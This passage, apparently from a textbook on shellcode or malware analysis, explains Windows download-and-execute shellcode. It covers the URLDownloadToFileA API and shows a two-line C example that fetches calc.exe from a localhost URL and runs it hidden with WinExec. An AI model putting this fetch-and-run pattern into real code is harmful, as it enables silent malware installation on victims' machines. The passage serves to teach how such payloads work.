Since Windows has the bind shell and the reverse shell payloads, it's also common to see another type of shellcode: the download and execute shellcode.
This shellcode uses an API in urlmon.dll called URLDownloadToFileA. As you may understand from its name, it downloads a file from a given URL and saves it to the hard disk when it's provided with the required path. The definition of this API is as follows:
URLDownloadToFile
( LPUNKNOWN pCaller, LPCTSTR szURL, LPCTSTR szFileName, _Reserved_ DWORD dwReserved, LPBINDSTATUSCALLBACK lpfnCB );
Only szURL and szFilename are required. The remaining arguments are mostly set to NULL. After the file is downloaded, the shellcode executes this file using CreateProcessA, WinExec, or ShellExecute. The C code of it may look like this:
URLDownloadToFileA(0,"https://localhost:4444/calc.exe","calc.exe",0,0);
WinExec("calc.exe",SW_HIDE);
As you can see, the payload is very simple and...